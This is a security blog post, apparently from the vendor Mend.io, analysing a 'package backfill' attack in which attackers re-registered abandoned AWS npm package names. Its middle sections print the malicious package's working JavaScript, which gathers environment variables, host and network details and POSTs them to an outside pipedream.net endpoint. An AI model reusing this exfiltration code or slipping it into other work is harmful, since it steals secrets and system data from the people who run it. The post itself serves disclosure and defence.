AWS Targeted by a Package Backfill Attack

On April 28 and April 30, respectively, Mend.io identified, blocked, and reported two packages we deemed were malicious versions of original Amazon Web Services (AWS) packages. Mend security experts have reached out to contacts at Amazon to notify them of our findings. 

This discovery may point to a new takeover method that targets packages of well-known origins, in this case, AWS. At this time, it appears as though malicious actors are scanning AWS projects for dependencies that are not registered in the public npmjs registry and using their names in order to upload the unregistered packages, injected with malicious content.

Why is AWS targeted by malicious actors?

As AWS is the biggest provider of cloud infrastructure in the world, with a 33 percent market share, it is also a big contributor to the open-source community. A quick search of the term ‘AWS’ on the most popular JavaScript package manager – npm –  returns about 13,000 results.

How did the package backfill attack unfold?

Thirteen months ago, the package hl7.fhir.r3.core was referenced by AWS as an open-source package. Four months ago, at the beginning of 2022, AWS also published the package @aws-cdk-example-dynamic-web-config/shared. The two packages above were officially authored by AWS before they were removed by a legitimate author, whatever the reasoning was.

Once the packages were removed, their names became available to use in the open-source wilderness. The two packages were then populated with malicious code that was uploaded using their names.

What’s in the malicious versions of the AWS packages?

The first package named hl7.fhir.r3.core only contained a package.json file and no actual malicious content. This package was probably uploaded as a test by the malicious actor to see if he was able to use a name previously used by AWS. This might explain why the name is not a ‘classic’ @aws-… naming.

The more interesting package is, which uses AWS name straightforward, and contains malicious code that exfiltrates user information such as env variables, operating system, and hostname.

Additionally, other information about the machine was collected, such as CPU architecture, total memory available, amount of free memory, network interfaces that contain IP addresses, netmask, MAC address, and more sensitive information.

Collecting User Information:

'use strict'

const https = require('https')
const http = require("http");
const os = require("os");

// var currentPath = process.cwd();
// var currentUser = 
var currentPath = __dirname;
var currentFile = __filename;
// var currentEnv = process.env;
var currentEnvString = JSON.stringify(process);
var currentEnvBase64 = Buffer.from(currentEnvString).toString('base64');

// console.log(currentPath);
// console.log(currentFile);
// console.log(currentEnvBase64)

var data = {
    envPORT: process.env.PORT,
    hostname: JSON.stringify(os.hostname()),
    currentPath: currentPath,
    currentFile: currentFile,
    currentEnvBase64: currentEnvBase64,
    type: JSON.stringify(os.type()),
    platform: JSON.stringify(os.platform()),
    arch: JSON.stringify(os.arch()),
    release: JSON.stringify(os.release()),
    uptime: JSON.stringify(os.uptime()),
    loadavg: JSON.stringify(os.loadavg()),
    totalmem: JSON.stringify(os.totalmem()),
    freemem: JSON.stringify(os.freemem()),
    cpus: JSON.stringify(os.cpus()),
    networkInterfaces: JSON.stringify(os.networkInterfaces()),
};

// console.log(process.env.PORT)
// console.log(os.hostname())
// console.log(os.type())
// console.log(os.platform())
// console.log(os.arch())
// console.log(os.release())
// console.log(os.uptime())
// console.log(os.loadavg())
// console.log(os.totalmem())
// console.log(os.freemem())
// console.log(os.cpus())
// console.log(os.networkInterfaces())

// console.log(data)
// console.log(JSON.stringify(data));

Sending the Information Out Using Pipedream:

data = JSON.stringify(data)
// console.log(data.length)

const options = {
  hostname: 'enjglpdgtgrbn4b.m.pipedream.net',
  port: 443,
  path: '/aHR0cHM6Ly9naXRodWIuY29tL2F3cy1zYW1wbGVzL2F3cy1jZGstZXhhbXBsZS1keW5hbWljLXN0YXRpYy13ZWJzaXRlLWNvbmZpZy9ibG9iLzgzNWQ5YmU4M2Q2NGM5NjY0ODlmZmM2OTY4NjMxNTFjN2I2ODVhZDkvcGFja2FnZXMvZGF0YS1hcGkvcGFja2FnZS5qc29u',
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'Content-Length': data.length
  }
}

const req = https.request(options, res => {
  // console.log(`statusCode: ${res.statusCode}`)

  res.on('data', d => {
    process.stdout.write(d)
  })
})

req.on('error', error => {
  console.error(error)
})

req.write(data)
req.end()

What do we know about the package backfill attack method so far?

We do not know for sure that the malicious packages above targeted AWS specifically, but it seems likely considering their actions: 

• The actors have located unregistered package names referenced from other AWS projects by discovering which package used to be a dependency of other projects and is no longer in use
• They implemented a name takeover using the name of the original, unused, package and published it to npm with reconnaissance code
  

How to avoid package backfill attacks?

One way to prevent such name takeovers is to use a checksum-based lockfile. At the same time, it is important to mention that users often ignore them, assuming that those are just errors.

Mend.io’s automated malware detection platform checks to make sure you’re only using verified package sources and prevents you from importing any malicious package into your organization or personal machine.